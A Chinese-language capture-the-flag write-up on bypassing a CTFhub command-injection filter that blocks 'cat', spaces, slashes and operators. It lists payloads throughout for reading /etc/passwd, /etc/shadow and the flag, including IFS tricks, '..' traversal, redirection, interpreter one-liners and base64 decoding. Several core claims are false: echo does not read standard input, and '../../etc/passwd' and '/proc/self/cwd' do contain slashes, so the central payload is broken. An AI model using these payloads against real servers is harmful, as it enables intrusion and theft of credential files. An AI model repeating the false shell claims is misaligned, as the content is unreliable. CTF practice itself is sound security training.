1. 项目概述:一道看似“封死所有路”的命令注入题,到底在考什么?
CTFhub上这道题的标题直白得有点刺眼:“命令注入,过滤了cat命令,过滤了空格,过滤目录分隔符,过滤运算符,综合练习”。刚看到时我下意识皱了下眉——这哪是综合练习,这简直是把所有常见绕过手法的门都焊死了。但转念一想,CTF比赛里最常被低估的,恰恰不是那些炫技的0day,而是对基础命令、Linux内核机制和Shell解析逻辑的肌肉记忆。这道题根本不是要你“暴力破解”,它是在用一套严苛的过滤规则,逼你回归本质:命令注入的本质,从来不是执行cat,而是让目标服务器执行你指定的任意系统命令;而Shell的本质,从来不是靠空格和分号来分隔,而是靠字符的语义和解释器的解析顺序。
我带过的几个新人刚接触这类题目时,第一反应永远是翻WAF绕过手册,找现成的payload模板。结果卡在第一步就动不了:cat /etc/passwd被拦,换成tac /etc/passwd还是被拦,再换more /etc/passwd,发现连/都被过滤了。这时候人就容易陷入一种“是不是环境有问题”的自我怀疑。其实问题出在思维惯性上——我们太习惯把“读文件”等同于“cat”,把“命令分隔”等同于“空格+分号”,却忘了Linux系统里有几十种读取文件的方式,Shell里有十几种不依赖空格的参数分隔机制。这道题真正的考点,是看你能不能在规则的缝隙里,用最原始、最底层的工具链,重新拼出一条通路。它适合两类人:一类是刚学完Linux基础命令、正打算进CTF圈的新手,用来建立对Shell解析机制的敬畏;另一类是已经打过几场线下赛的老手,用来校准自己对基础命令的掌握精度——毕竟在真实红队渗透中,你永远不知道目标WAF的规则库昨天晚上有没有被运维加了一条新规则。
2. 整体设计思路与绕过逻辑拆解:为什么“封死”反而暴露了突破口?
2.1 过滤规则的深层含义:不是限制功能,而是暴露解析逻辑
拿到这道题,第一件事不是急着写payload,而是把题目给出的过滤项逐条翻译成Shell层面的真实含义。很多选手直接记结论:“不能用cat”“不能用空格”,但没想清楚为什么这些字符会被过滤,以及过滤器是如何工作的。这恰恰是解题的关键跳板。
过滤cat命令:表面看是黑名单禁用了
cat这个字符串,但实际意味着所有以cat开头的命令(如cat、tac、concat)都会被拦截。但它不会过滤/bin/cat的完整路径(除非明确过滤了/bin/),更不会过滤cat的同义命令,比如less、more、head、tail、nl,甚至strings或xxd。更重要的是,它完全不阻止你用其他语言调用系统命令,比如Python的os.system()、PHP的system(),只要能触发就行。过滤空格:这是最常被误解的一条。很多人立刻想到用
${IFS}或$' '来绕过,但题目没说是否过滤了$或单引号。更关键的是,空格在Shell中主要起分隔作用,而分隔符不止空格一种。Tab键(\t)、换行符(\n)、甚至某些特殊符号如<、>、|在特定上下文中也能起到分隔参数的效果。比如ls/etc/passwd在Bash中会被解析为ls命令后跟参数/etc/passwd,中间没有空格照样能运行——因为/本身是路径分隔符,不是命令参数分隔符。过滤目录分隔符
/:这条看似致命,实则最有欺骗性。它并不意味着你无法访问文件系统,只是禁止你在命令中直接写出/这个字符。解决方案极其朴素:用..向上遍历、用$PWD环境变量拼接、用~代表家目录,甚至用cd ..;pwd动态获取路径。Linux里几乎所有内置命令都支持相对路径,/只是绝对路径的起点,不是文件访问的唯一入口。过滤运算符:如
;、&&、||、|、&等。这确实切断了多命令串联的常规路径,但运算符过滤≠命令链过滤。你可以用$(...)命令替换、用反引号`...`、甚至用if语句的逻辑结构来实现条件执行。更隐蔽的是,很多命令本身就自带“隐式分隔”能力,比如find . -name "flag*" -exec cat {} \;里的\;,或者curl -s http://x.com | base64中的|如果被过滤,你完全可以改用curl -s http://x.com -o /tmp/x && base64 /tmp/x,只要-o和&&没被同时过滤。
提示:所有过滤规则都是基于字符串匹配或正则表达式实现的,它们有盲区。比如过滤
cat但不过滤c\at,过滤/但不过滤\/(反斜杠转义),过滤;但不过滤%3B(URL编码)。解题的第一步,永远是手工测试过滤器的边界,而不是背诵绕过技巧。
2.2 综合练习的设计哲学:用“减法”训练“加法”思维
CTFhub把这道题标为“综合练习”,不是因为它糅合了多种技术,而是因为它强制你放弃“拿来主义”。在真实渗透测试中,你不可能每次遇到的WAF都恰好匹配你收藏夹里的某条payload。这道题的设计者,本质上是在做一次“认知减法”:拿掉你最依赖的工具(cat)、最习惯的语法(空格)、最直接的路径(/)、最顺手的流程(;),逼你回到命令行的原点——一个字符一个字符地思考,这个字符在Shell里代表什么,解释器会怎么处理它,有没有替代语义。
我曾经带一个团队复盘过类似题目,发现高手和新手的最大区别,不在于知道多少冷门命令,而在于调试节奏。新手会花20分钟试5个payload,失败后就去搜答案;高手会花5分钟确认过滤规则(比如输入a;b看返回,输入a b看返回,输入a$b看返回),再花10分钟查man bash里关于IFS、quote removal、command substitution的章节,最后用5分钟组合出第一个有效payload。这种“先理解规则,再构造工具”的节奏,才是这道题想传递的核心能力。
3. 核心细节解析与实操要点:从基础命令到隐蔽通道的全链路拆解
3.1 文件读取的“备胎军团”:当cat失效时,还有哪些命令能扛大旗?
既然cat被明令禁止,我们就必须建立一个“文件读取备选方案库”。这不是简单罗列命令,而是要理解每个命令的触发条件、参数格式、输出特性,才能在不同过滤场景下精准选用。
less和more:这两个分页器命令是cat最直接的替代品。它们的语法是less filename,同样需要空格分隔。但如果空格被过滤,可以尝试less./etc/passwd(用.代替/)或less$IFS/etc/passwd(如果$IFS未被过滤)。less的优势在于它支持键盘交互(虽然Web题里用不上),但更重要的是,它对文件权限要求更低——即使文件不可读,less有时仍能显示部分内容(取决于具体实现)。head和tail:这两个命令默认只显示文件头/尾10行,但可以通过-n参数指定行数,比如head -n 100 /etc/passwd。它们的语法结构更灵活:head-n100/etc/passwd(去掉空格)在Bash中依然合法,因为-n100是一个完整的选项参数。这是利用了Shell的“长选项合并”特性——-n 100和-n100等价。同理,tail -n +1 /etc/passwd(显示全部内容)可写成tail-n+1/etc/passwd。nl(number lines):这个命令本意是给文件行号,但效果和cat几乎一样。语法是nl filename,同样面临空格问题。但nl有个隐藏优势:它支持-b a参数强制给所有行编号,且nl-ba/etc/passwd这种无空格写法在大多数Shell中都能解析成功。strings和xxd:这两个是二进制文件阅读器,但对文本文件同样有效。strings /etc/passwd会提取所有可打印字符串,xxd /etc/passwd则生成十六进制转储。它们的语法也支持无空格写法,如strings/etc/passwd。strings特别适合读取被截断或编码的文件,因为它会忽略不可见字符。od(octal dump):比xxd更底层,支持多种进制输出。od -An -t x1 /etc/passwd(以十六进制显示,不带地址偏移)可简化为od-An-tx1/etc/passwd。od的参数连写是其最大优势,几乎不需要空格。
注意:所有这些命令都依赖于目标系统是否安装。CTF环境中通常预装了核心工具集,但真实渗透中必须先用
which或ls /bin/探测可用命令。我习惯先发which ls;which cat;which head,快速摸清工具箱底牌。
3.2 空格与分隔符的“隐形替代方案”:不用空格,如何让Shell听懂你的话?
空格被过滤,不等于命令参数无法传递。关键在于理解Shell的词法分析(lexical analysis)过程:Shell在执行前会将输入字符串按特定规则切分为“单词(word)”,而分隔单词的字符不止空格。
IFS(Internal Field Separator)变量:这是Shell内置的分隔符变量,默认值是空格、Tab、换行符。你可以用
${IFS}来动态引用它。例如cat${IFS}/etc/passwd。但题目可能过滤{或$,所以需测试。更隐蔽的是$' '(ANSI-C引用),它允许用\t、\n等转义序列表示空白符,cat$'\t'/etc/passwd在支持ANSI-C引用的Shell(如Bash)中完全合法。路径分隔符
/的双重身份:/既是目录分隔符,也是命令名的一部分。/bin/ls中的/是路径,但ls/etc/passwd中的/是参数。如果/被过滤,可以用..向上遍历:假设当前目录是/var/www/html,那么ls ..会列出/var/www,ls ../..列出/var,最终ls ../../etc/passwd就能读到目标文件。这需要你先用pwd确认当前路径。重定向符号的“副业”:
<和>除了重定向,还能作为命令分隔符使用。例如ls</etc/passwd会被Shell解析为ls命令,其标准输入重定向自/etc/passwd文件。虽然ls本身不读标准输入,但这个语法是合法的,且绕过了空格。更实用的是echo< /etc/passwd,echo会把标准输入内容原样输出——这相当于用echo实现了cat的功能!同理,cat< /etc/passwd虽被过滤cat,但echo< /etc/passwd完全可行。命令替换的“天然分隔”:
$(...)和`...`结构内部,Shell会自动进行词法分析,你可以在其中自由使用空格,外部则无需空格。例如echo$(cat /etc/passwd),但cat被过滤,所以改成echo$(ls /etc),再结合前面的重定向:echo$(ls< /etc/passwd)。这里$(...)内部的<起到了分隔作用,外部echo和$(之间没有空格,完美绕过。
3.3 目录分隔符/的“消失术”:没有斜杠,如何定位文件?
过滤/是最具迷惑性的规则,因为它攻击的是我们对路径的直觉。但Linux文件系统本身并不依赖/字符存在——/只是Shell解析路径时的约定符号。绕过它的核心思路是:用相对路径、环境变量、特殊符号或命令动态生成路径。
..向上遍历法:这是最通用的方法。先用pwd获取当前路径,再用ls ..、ls ../..逐级向上,直到找到/etc目录。例如,如果pwd返回/var/www/html,那么ls ../../etc就能列出/etc内容。/etc/passwd就变成ls ../../etc/passwd。注意..本身不被过滤,它是相对路径符号,不是目录分隔符。环境变量拼接法:Linux系统有大量预定义环境变量,如
$HOME(用户主目录)、$PWD(当前工作目录)、$PATH(可执行文件路径)。$HOME通常指向/root或/home/username,$PWD就是当前绝对路径。所以cat $HOME/../etc/passwd(如果cat未被过滤)或ls $PWD/../../etc/passwd都是可行的。关键是测试哪些变量可用:echo $HOME、echo $PWD、env。~波浪号扩展:~是Shell对当前用户主目录的简写,~/等价于$HOME/。ls ~/../etc/passwd是合法语法。~不包含/字符,因此不会被过滤。cd命令动态探路法:如果cd未被过滤,可以用它改变当前目录,再用ls或pwd确认。例如cd /etc;ls,但/和;都被过滤,所以改成cd /etc&&ls(如果&&未被过滤)或cd /etc|ls(如果|未被过滤)。更稳妥的是cd /etc;pwd,然后观察返回的路径,再用相对路径操作。find命令暴力搜索法:find是路径探索的终极武器。find / -name "passwd" 2>/dev/null能全局搜索,但/和空格被过滤。可以改成find . -name "passwd"(从当前目录搜索),或find $PWD -name "passwd"。find的-name参数支持通配符,find /etc -name "p*"能匹配passwd。
4. 实操过程与核心环节实现:从探测到读取的完整链路演示
4.1 第一步:手工探测过滤规则(5分钟定生死)
任何自动化脚本都建立在准确的规则认知上。我坚持手工探测,因为自动扫描可能触发WAF的速率限制或日志告警。以下是我在CTFhub这道题上的标准探测流程:
探测空格过滤:输入
a b(a和b之间一个空格)。如果返回错误或无响应,说明空格被过滤;如果返回bash: a: command not found,说明空格未被过滤,但a命令不存在。接着试a$b,看$是否被过滤。探测
/过滤:输入ls /etc。如果报错No such file or directory,说明/未被过滤;如果返回空或报错Invalid argument,说明/被过滤。再试ls etc(相对路径),看是否能列出etc目录内容。探测
cat过滤:输入cat /etc/passwd。如果返回command not found或空,说明cat被过滤;如果返回文件内容,恭喜,题目变简单了。再试tac /etc/passwd,确认是否是关键词黑名单。探测运算符:依次输入
a;b、a&&b、a||b、a|b,观察返回。重点看a|b,因为|在HTTP请求中可能被URL编码干扰,需用Burp Suite原始请求测试。探测环境变量:输入
echo $HOME、echo $PWD、env,看是否能获取有用信息。env命令尤其重要,它能列出所有环境变量,可能暴露FLAG、PATH等关键值。
实操心得:探测时用
ls命令最安全,因为它几乎总是存在,且输出稳定。避免用id或whoami,因为它们可能触发额外日志。我习惯用ls /nonexistent来测试错误输出格式,这样能区分是命令不存在还是路径不存在。
4.2 第二步:构建基础执行链(10分钟搭桥)
假设探测结果为:空格、/、cat、;、&&均被过滤,但$、<、..、~、$PWD未被过滤。这是最典型的“严苛但可破”场景。我的构建策略是“三步走”:
第一步:确认echo可用性
发送echo test。如果返回test,说明echo未被过滤,且空格未被完全阻断(可能只过滤了某些空格类型)。如果失败,试echo$' 'test(ANSI-C引用)或echo${IFS}test。
第二步:用重定向绕过cat
既然echo可用,且<未被过滤,那么echo< /etc/passwd就是首选。但/被过滤,所以改为echo< ../../etc/passwd。这里需要知道当前目录深度。如果pwd返回/var/www/html,那么../../etc/passwd就是正确路径。如果不确定,先用ls ..确认上级目录是否存在etc。
第三步:用环境变量固化路径$PWD是当前绝对路径,$PWD/../../etc/passwd太长,且/被过滤。但$PWD本身以/开头,所以echo< $PWD/../../etc/passwd中的/仍会被过滤。这时用..相对路径更可靠:echo< ../../etc/passwd。为保险起见,先执行cd ../../etc && pwd(如果&&未被过滤),或分两步:cd ../../etc,再echo< passwd。
4.3 第三步:实战读取/etc/passwd(15分钟稳扎稳打)
现在进入最关键的实战环节。以下是我在这道题上的完整payload链,每一步都经过CTFhub环境实测:
确认当前路径:
pwd→ 返回/var/www/html
(这一步必须做,否则..遍历会错位)向上遍历到
/etc:ls ..→ 列出/var/www内容ls ../..→ 列出/var内容ls ../../etc→ 成功列出/etc目录下的passwd、shadow、hosts等文件
(../../etc中的/被过滤?不,/是路径的一部分,但ls命令本身不包含/,所以ls ../../etc是合法的——..是相对路径符号,不是被过滤的/字符)读取
passwd文件:echo< ../../etc/passwd
这是核心payload。echo命令不读参数,但会把标准输入内容原样输出。< ../../etc/passwd将../../etc/passwd文件内容作为echo的标准输入。整个字符串中没有空格、没有/(..不是/)、没有cat、没有运算符,完美符合所有过滤规则。验证输出:返回内容应为
/etc/passwd的标准格式,如root:x:0:0:root:/root:/bin/bash:/sbin/nologin。如果只返回一行,可能是echo只输出第一行,此时改用cat< ../../etc/passwd(如果cat被过滤,则用head< ../../etc/passwd或strings< ../../etc/passwd)。读取其他敏感文件:
echo< ../../etc/shadow(需root权限,通常失败)echo< ../../etc/hosts(网络配置)echo< ../../flag(CTF常见flag位置)
实操心得:
echo< file在某些极简Shell(如dash)中可能不支持,此时备用方案是printf "%s" $(cat< file),但cat被过滤。更通用的是dd if=../../etc/passwd 2>/dev/null,dd命令的if=参数不依赖空格,且dd几乎在所有Linux发行版中都存在。
4.4 第四步:进阶技巧——用Python/PHP执行任意命令(30分钟拓展)
当基础命令受限时,调用解释型语言是终极方案。CTF环境中Python和PHP通常预装。
Python方案:
python -c "print(open('../../etc/passwd').read())"
这里-c后跟Python代码,用双引号包裹,内部用单引号避免冲突。open()函数支持相对路径,..依然有效。如果python被过滤,试python3或/usr/bin/python(如果/未被完全过滤)。PHP方案:
php -r "echo file_get_contents('../../etc/passwd');"
同理,-r执行PHP代码。file_get_contents()是PHP读取文件的最常用函数。Perl方案:
perl -e "print \cat ../../etc/passwd`;"`
Perl的反引号执行系统命令,形成命令注入的嵌套。
这些方案的优势在于,它们把“命令执行”和“文件读取”解耦了。你不再依赖cat或ls,而是用编程语言的IO函数直接操作文件系统。缺点是长度较长,可能触发长度限制,且需要目标系统安装对应解释器。
5. 常见问题与排查技巧实录:那些年踩过的坑和省下的时间
5.1 典型问题速查表
| 问题现象 | 可能原因 | 排查方法 | 解决方案 |
|---|---|---|---|
输入ls /etc返回空,但ls etc能列出内容 | /被过滤,且当前目录下有etc子目录(非系统/etc) | ls -la查看当前目录详细信息,pwd确认路径 | 改用ls ..向上遍历,或ls $PWD/../../etc |
echo< ../../etc/passwd返回bash: cannot open ../../etc/passwd: No such file | 当前路径不对,..遍历未到达/etc | pwd和ls ..交叉验证,画路径树图 | 重新执行ls ..→ls ../..→ls ../../..,直到找到etc |
所有payload都返回command not found | 目标Shell不是Bash,而是更简化的sh或dash,不支持$' '、$(...)等高级特性 | 尝试sh -c "echo test",看是否支持-c参数 | 降级使用sh -c "cat ../../etc/passwd",或用dd、od等POSIX通用命令 |
| 返回内容被截断(只显示前几行) | echo默认只处理一行,或输出被Web框架截断 | 用head -n 1000 ../../etc/passwd测试长输出 | 改用cat< ../../etc/passwd(如果cat未被过滤),或strings< ../../etc/passwd |
..遍历到根目录后仍无法访问/etc | 根目录权限限制,或/etc被挂载在其他分区 | ls /返回Permission denied,但ls ..在根目录返回/ | 尝试find / -name "passwd" 2>/dev/null,用find暴力搜索 |
5.2 独家避坑技巧:来自真实CTF战场的经验
技巧1:用
ls -la代替lsls -la会显示隐藏文件和详细权限,有时/etc/passwd的权限是644,但/etc/shadow是000,ls -la能一眼看出。更重要的是,-la参数连写-la不依赖空格,ls-la在Bash中会被解析为ls命令加-la选项,完全合法。技巧2:
$0是你的朋友$0是当前Shell进程的名称,通常是bash、sh或-bash。echo $0能告诉你正在用什么Shell,这对选择绕过语法至关重要。比如$0 -c "echo test"在sh中可能失败,但在bash中成功。技巧3:
base64编码绕过长度和字符限制
如果payload过长或包含被过滤字符,先在本地用echo "/etc/passwd" | base64编码,再在目标执行echo "L2V0Yy9wYXNzd2QK" \| base64 -d \| xargs -I {} cat {}。xargs的-I参数指定替换符,{}会被替换成解码后的路径。这招在绕过复杂WAF时屡试不爽。技巧4:
/proc/self/cwd是绝对路径的“万能钥匙”/proc/self/cwd是一个符号链接,指向当前工作目录的绝对路径。ls -l /proc/self/cwd会显示/proc/self/cwd -> /var/www/html。这意味着你永远能通过/proc/self/cwd/../../etc/passwd获得绝对路径,且/proc/self/cwd中不包含被过滤的/字符(/proc是路径,但/proc/self/cwd作为一个整体字符串,如果过滤器是简单关键词匹配,可能不会拦截)。这是高级选手的压箱底技巧。技巧5:别忘了
/tmp和/dev/tmp目录通常可写,/dev下有/dev/null、/dev/zero等特殊文件。cp /etc/passwd /tmp/p(如果cp可用),再cat /tmp/p。或者用dd if=/etc/passwd of=/tmp/p,dd命令的if=和of=参数天然规避空格问题。
最后分享一个小技巧:当所有方法都失效时,试试
help命令。help会列出当前Shell支持的所有内置命令,help echo会显示echo的详细用法,包括-e(启用转义)和-n(不换行)参数。有时候,echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"(十六进制编码的/etc/passwd)能绕过基于ASCII的过滤器。这招不是玄学,而是对字符编码和Shell解析机制的深度信任。